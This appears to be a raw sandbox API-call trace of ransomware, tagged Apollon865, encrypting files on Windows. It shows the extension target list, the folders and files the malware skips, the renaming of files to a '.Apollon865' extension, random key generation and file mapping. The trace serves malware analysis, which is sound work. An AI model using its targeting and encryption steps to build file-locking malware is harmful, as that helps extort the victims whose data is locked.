	[0071.878] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0071.878] lstrlenW (lpString="trc") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0071.878] lstrlenW (lpString="trm") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0071.878] lstrlenW (lpString="udb") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0071.878] lstrlenW (lpString="udl") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0071.878] lstrlenW (lpString="usr") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0071.878] lstrlenW (lpString="v12") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0071.878] lstrlenW (lpString="vis") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0071.878] lstrlenW (lpString="vpd") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0071.878] lstrlenW (lpString="vvv") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0071.878] lstrlenW (lpString="wdb") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0071.878] lstrlenW (lpString="wmdb") returned 4
	[0071.878] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0071.878] lstrlenW (lpString="wrk") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0071.878] lstrlenW (lpString="xdb") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0071.878] lstrlenW (lpString="xld") returned 3
	[0071.878] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0071.878] lstrlenW (lpString="xmlff") returned 5
	[0071.878] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0071.878] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865") returned 133
	[0071.878] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.apollon865"), dwFlags=0x1) returned 1
	[0071.881] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0071.881] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=1292987) returned 1
	[0071.881] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0071.881] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0071.881] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0071.881] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0071.883] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0071.883] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0071.883] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13bdc0, lpName=0x0) returned 0x15c
	[0071.885] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13bdc0) returned 0x3390000
	[0071.986] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0071.987] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0071.987] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0071.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0071.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0071.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0071.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0071.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0071.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0071.987] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0071.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0071.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0071.987] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0071.987] UnmapViewOfFile (lpBaseAddress=0x3390000) returned 1
	[0072.000] CloseHandle (hObject=0x15c) returned 1
	[0072.001] CloseHandle (hObject=0x100) returned 1
	[0072.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0072.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0072.001] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0072.006] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5c66f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0072.006] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0072.006] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb17b200, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xfb17b200, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xfb17b200, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="Apollon865.txt.exe") returned 1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".") returned 1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="..") returned 1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="windows") returned -1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="bootmgr") returned 1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="temp") returned 1
	[0072.006] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="pagefile.sys") returned 1
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="boot") returned 1
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="ids.txt") returned 1
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="ntuser.dat") returned 1
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="perflogs") returned 1
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2="MSBuild") returned 1
	[0072.007] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0072.007] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab") returned 122
	[0072.007] lstrcpyW (in: lpString1=0x119e6ec, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0072.007] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0072.007] lstrlenW (lpString="Apollon865") returned 10
	[0072.007] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0072.007] lstrlenW (lpString=".dll") returned 4
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0072.007] lstrlenW (lpString=".lnk") returned 4
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0072.007] lstrlenW (lpString=".ini") returned 4
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0072.007] lstrlenW (lpString=".sys") returned 4
	[0072.007] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0072.007] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0072.007] lstrlenW (lpString="bak") returned 3
	[0072.007] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0072.007] lstrlenW (lpString="ba_") returned 3
	[0072.007] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0072.007] lstrlenW (lpString="dbb") returned 3
	[0072.007] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0072.007] lstrlenW (lpString="vmdk") returned 4
	[0072.007] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0072.007] lstrlenW (lpString="rar") returned 3
	[0072.007] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0072.007] lstrlenW (lpString="zip") returned 3
	[0072.007] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0072.007] lstrlenW (lpString="tgz") returned 3
	[0072.007] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0072.007] lstrlenW (lpString="vbox") returned 4
	[0072.007] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0072.008] lstrlenW (lpString="vdi") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0072.008] lstrlenW (lpString="vhd") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0072.008] lstrlenW (lpString="vhdx") returned 4
	[0072.008] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0072.008] lstrlenW (lpString="avhd") returned 4
	[0072.008] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0072.008] lstrlenW (lpString="db") returned 2
	[0072.008] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0072.008] lstrlenW (lpString="db2") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0072.008] lstrlenW (lpString="db3") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0072.008] lstrlenW (lpString="dbf") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0072.008] lstrlenW (lpString="mdf") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0072.008] lstrlenW (lpString="mdb") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0072.008] lstrlenW (lpString="sql") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0072.008] lstrlenW (lpString="sqlite") returned 6
	[0072.008] lstrcmpiW (lpString1="86.msi", lpString2="sqlite") returned -1
	[0072.008] lstrlenW (lpString="sqlite3") returned 7
	[0072.008] lstrcmpiW (lpString1="x86.msi", lpString2="sqlite3") returned 1
	[0072.008] lstrlenW (lpString="sqlitedb") returned 8
	[0072.008] lstrcmpiW (lpString1="_x86.msi", lpString2="sqlitedb") returned -1
	[0072.008] lstrlenW (lpString="xml") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0072.008] lstrlenW (lpString="$er") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0072.008] lstrlenW (lpString="4dd") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0072.008] lstrlenW (lpString="4dl") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0072.008] lstrlenW (lpString="^^^") returned 3
	[0072.008] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0072.009] lstrlenW (lpString="abs") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0072.009] lstrlenW (lpString="abx") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0072.009] lstrlenW (lpString="accdb") returned 5
	[0072.009] lstrcmpiW (lpString1="6.msi", lpString2="accdb") returned -1
	[0072.009] lstrlenW (lpString="accdc") returned 5
	[0072.009] lstrcmpiW (lpString1="6.msi", lpString2="accdc") returned -1
	[0072.009] lstrlenW (lpString="accde") returned 5
	[0072.009] lstrcmpiW (lpString1="6.msi", lpString2="accde") returned -1
	[0072.009] lstrlenW (lpString="accdr") returned 5
	[0072.009] lstrcmpiW (lpString1="6.msi", lpString2="accdr") returned -1
	[0072.009] lstrlenW (lpString="accdt") returned 5
	[0072.009] lstrcmpiW (lpString1="6.msi", lpString2="accdt") returned -1
	[0072.009] lstrlenW (lpString="accdw") returned 5
	[0072.009] lstrcmpiW (lpString1="6.msi", lpString2="accdw") returned -1
	[0072.009] lstrlenW (lpString="accft") returned 5
	[0072.009] lstrcmpiW (lpString1="6.msi", lpString2="accft") returned -1
	[0072.009] lstrlenW (lpString="adb") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0072.009] lstrlenW (lpString="adb") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0072.009] lstrlenW (lpString="ade") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0072.009] lstrlenW (lpString="adf") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0072.009] lstrlenW (lpString="adn") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0072.009] lstrlenW (lpString="adp") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0072.009] lstrlenW (lpString="alf") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0072.009] lstrlenW (lpString="ask") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0072.009] lstrlenW (lpString="btr") returned 3
	[0072.009] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0072.009] lstrlenW (lpString="cat") returned 3
	[0072.010] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0072.010] lstrlenW (lpString="cdb") returned 3
	[0072.010] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0072.010] lstrlenW (lpString="ckp") returned 3
	[0072.010] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0072.010] lstrlenW (lpString="cma") returned 3
	[0072.010] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0072.010] lstrlenW (lpString="cpd") returned 3
	[0072.010] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0072.010] lstrlenW (lpString="dacpac") returned 6
	[0072.010] lstrcmpiW (lpString1="86.msi", lpString2="dacpac") returned -1
	[0072.010] lstrlenW (lpString="dad") returned 3
	[0072.010] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0072.010] lstrlenW (lpString="dadiagrams") returned 10
	[0072.010] lstrcmpiW (lpString1="um_x86.msi", lpString2="dadiagrams") returned 1
	[0072.010] lstrlenW (lpString="daschema") returned 8
	[0072.010] lstrcmpiW (lpString1="_x86.msi", lpString2="daschema") returned -1
	[0072.010] lstrlenW (lpString="db-journal") returned 10
	[0072.010] lstrcmpiW (lpString1="um_x86.msi", lpString2="db-journal") returned 1
	[0072.010] lstrlenW (lpString="db-shm") returned 6
	[0072.010] lstrcmpiW (lpString1="86.msi", lpString2="db-shm") returned -1
	[0072.010] lstrlenW (lpString="db-wal") returned 6
	[0072.011] lstrcmpiW (lpString1="86.msi", lpString2="db-wal") returned -1
	[0072.011] lstrlenW (lpString="dbc") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0072.011] lstrlenW (lpString="dbs") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0072.011] lstrlenW (lpString="dbt") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0072.011] lstrlenW (lpString="dbv") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0072.011] lstrlenW (lpString="dbx") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0072.011] lstrlenW (lpString="dcb") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0072.011] lstrlenW (lpString="dct") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0072.011] lstrlenW (lpString="dcx") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0072.011] lstrlenW (lpString="ddl") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0072.011] lstrlenW (lpString="dlis") returned 4
	[0072.011] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0072.011] lstrlenW (lpString="dp1") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0072.011] lstrlenW (lpString="dqy") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0072.011] lstrlenW (lpString="dsk") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0072.011] lstrlenW (lpString="dsn") returned 3
	[0072.011] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0072.011] lstrlenW (lpString="dtsx") returned 4
	[0072.012] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0072.012] lstrlenW (lpString="dxl") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0072.012] lstrlenW (lpString="eco") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0072.012] lstrlenW (lpString="ecx") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0072.012] lstrlenW (lpString="edb") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0072.012] lstrlenW (lpString="epim") returned 4
	[0072.012] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0072.012] lstrlenW (lpString="fcd") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0072.012] lstrlenW (lpString="fdb") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0072.012] lstrlenW (lpString="fic") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0072.012] lstrlenW (lpString="flexolibrary") returned 12
	[0072.012] lstrcmpiW (lpString1="imum_x86.msi", lpString2="flexolibrary") returned 1
	[0072.012] lstrlenW (lpString="fm5") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0072.012] lstrlenW (lpString="fmp") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0072.012] lstrlenW (lpString="fmp12") returned 5
	[0072.012] lstrcmpiW (lpString1="6.msi", lpString2="fmp12") returned -1
	[0072.012] lstrlenW (lpString="fmpsl") returned 5
	[0072.012] lstrcmpiW (lpString1="6.msi", lpString2="fmpsl") returned -1
	[0072.012] lstrlenW (lpString="fol") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0072.012] lstrlenW (lpString="fp3") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0072.012] lstrlenW (lpString="fp4") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0072.012] lstrlenW (lpString="fp5") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0072.012] lstrlenW (lpString="fp7") returned 3
	[0072.012] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0072.012] lstrlenW (lpString="fpt") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0072.013] lstrlenW (lpString="frm") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0072.013] lstrlenW (lpString="gdb") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0072.013] lstrlenW (lpString="gdb") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0072.013] lstrlenW (lpString="grdb") returned 4
	[0072.013] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0072.013] lstrlenW (lpString="gwi") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0072.013] lstrlenW (lpString="hdb") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0072.013] lstrlenW (lpString="his") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0072.013] lstrlenW (lpString="ib") returned 2
	[0072.013] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0072.013] lstrlenW (lpString="idb") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0072.013] lstrlenW (lpString="ihx") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0072.013] lstrlenW (lpString="itdb") returned 4
	[0072.013] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0072.013] lstrlenW (lpString="itw") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0072.013] lstrlenW (lpString="jet") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0072.013] lstrlenW (lpString="jtx") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0072.013] lstrlenW (lpString="kdb") returned 3
	[0072.013] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0072.013] lstrlenW (lpString="kexi") returned 4
	[0072.013] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0072.013] lstrlenW (lpString="kexic") returned 5
	[0072.013] lstrcmpiW (lpString1="6.msi", lpString2="kexic") returned -1
	[0072.013] lstrlenW (lpString="kexis") returned 5
	[0072.013] lstrcmpiW (lpString1="6.msi", lpString2="kexis") returned -1
	[0072.013] lstrlenW (lpString="lgc") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0072.014] lstrlenW (lpString="lwx") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0072.014] lstrlenW (lpString="maf") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0072.014] lstrlenW (lpString="maq") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0072.014] lstrlenW (lpString="mar") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0072.014] lstrlenW (lpString="marshal") returned 7
	[0072.014] lstrcmpiW (lpString1="x86.msi", lpString2="marshal") returned 1
	[0072.014] lstrlenW (lpString="mas") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0072.014] lstrlenW (lpString="mav") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0072.014] lstrlenW (lpString="maw") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0072.014] lstrlenW (lpString="mdbhtml") returned 7
	[0072.014] lstrcmpiW (lpString1="x86.msi", lpString2="mdbhtml") returned 1
	[0072.014] lstrlenW (lpString="mdn") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0072.014] lstrlenW (lpString="mdt") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0072.014] lstrlenW (lpString="mfd") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0072.014] lstrlenW (lpString="mpd") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0072.014] lstrlenW (lpString="mrg") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0072.014] lstrlenW (lpString="mud") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0072.014] lstrlenW (lpString="mwb") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0072.014] lstrlenW (lpString="myd") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0072.014] lstrlenW (lpString="ndf") returned 3
	[0072.014] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0072.014] lstrlenW (lpString="nnt") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0072.015] lstrlenW (lpString="nrmlib") returned 6
	[0072.015] lstrcmpiW (lpString1="86.msi", lpString2="nrmlib") returned -1
	[0072.015] lstrlenW (lpString="ns2") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0072.015] lstrlenW (lpString="ns3") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0072.015] lstrlenW (lpString="ns4") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0072.015] lstrlenW (lpString="nsf") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0072.015] lstrlenW (lpString="nv") returned 2
	[0072.015] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0072.015] lstrlenW (lpString="nv2") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0072.015] lstrlenW (lpString="nwdb") returned 4
	[0072.015] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0072.015] lstrlenW (lpString="nyf") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0072.015] lstrlenW (lpString="odb") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0072.015] lstrlenW (lpString="odb") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0072.015] lstrlenW (lpString="oqy") returned 3
	[0072.015] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0072.015] lstrlenW (lpString="ora") returned 3
